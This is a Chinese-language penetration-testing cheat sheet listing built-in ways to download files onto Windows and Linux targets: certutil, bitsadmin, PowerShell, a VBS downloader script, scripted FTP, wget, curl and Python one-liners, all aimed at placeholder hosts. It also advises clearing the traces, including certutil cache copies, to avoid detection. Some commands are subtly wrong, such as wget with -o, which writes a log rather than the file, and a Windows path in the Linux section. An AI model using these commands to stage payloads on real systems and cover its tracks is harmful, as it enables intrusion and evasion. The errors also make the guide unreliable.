渗透测试中常用的文件下载方式总结
字数 713 2025-08-15 21:33:59
渗透测试中文件下载方式全面指南
Windows系统文件下载方法
1. certutil工具
certutil是Windows自带的实用程序,具有下载文件、校验文件哈希值和文件编码等功能。
基本下载命令:
certutil -urlcache -split -f http://remote.url/certutil.test
- 保存在当前路径,文件名与下载文件相同
指定保存文件名:
certutil -urlcache -split -f http://remote.url/certutil.test test.test
清除缓存副本:
certutil下载会在缓存目录留下副本,路径为:
%USERPROFILE%\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content
命令行删除缓存:
certutil -urlcache -split -f http://remote.url/certutil.test delete
2. bitsadmin工具
Windows 7及以上系统可用的下载命令。
下载文件命令:
bitsadmin /transfer n http://remote.url/bitsadmin.test c:\users\Administrator\Desktop\bitsadmin\bitsadmin
3. PowerShell
Windows 7及以上系统默认自带PowerShell。
下载文件命令:
powershell (new-object Net.WebClient).DownloadFile('http://remote.url/powershell.test','c:\users\administrator\desktop\powershell\powershell')
4. VBS脚本
Windows自带VBS解释器,可执行下载脚本。
VBS下载脚本代码:
Set x= createObject("Microsoft.XMLHTTP"):x.Open "GET",LCase(WScript.Arguments(0)),0:x.Send():Set s = createObject("ADODB.Stream"):s.Mode = 3:s.Type = 1:s.Open():s.Write(x.responseBody):s.SaveToFile LCase(WScript.Arguments(1)),2
使用方法:
- 将代码保存为.vbs文件
- 执行命令:
cscript download.vbs http://remote.url/file save_path
5. FTP下载
步骤:
- 在远端搭建FTP服务
- 创建command.txt文件,内容如下:
open 103.x.x.x(ftp服务端地址)
user_name(用户名)
user_pass(密码)
get file(文件名)
quit
执行下载:
ftp -i -s:command.txt
Linux系统文件下载方法
1. wget工具
基本下载命令:
wget http://remote.url/wget.test -o /root/downloadtest/testwget
2. curl工具
下载文件命令:
curl -o /root/downloadtest/testcurl http://remote.url/curl.test
注意:参数-o为小写字母
3. Python下载
Python 3下载代码:
python -c "import urllib.request; url = 'http://remote.url/python.test'; urllib.request.urlretrieve(url, '/root/downloadtest/testpython')"
Python 2下载代码:
python -c "import urllib2;u=urllib2.urlopen('http://remote.url/python.test');localfile=open('c:/users/administrator/desktop/1.py','w');localfile.write(u.read());localfile.close();"
注意事项
-
Windows系统中:
- certutil会留下缓存副本,需手动清除
- bitsadmin仅适用于Windows 7及以上系统
- PowerShell在Windows 7及以上系统默认安装
-
Linux系统中:
- wget和curl通常需要安装
- Python版本差异需要注意(Python 2和3语法不同)
-
渗透测试中:
- 这些方法可能被安全软件检测
- 建议根据目标环境选择最合适的方法
- 下载后应清理痕迹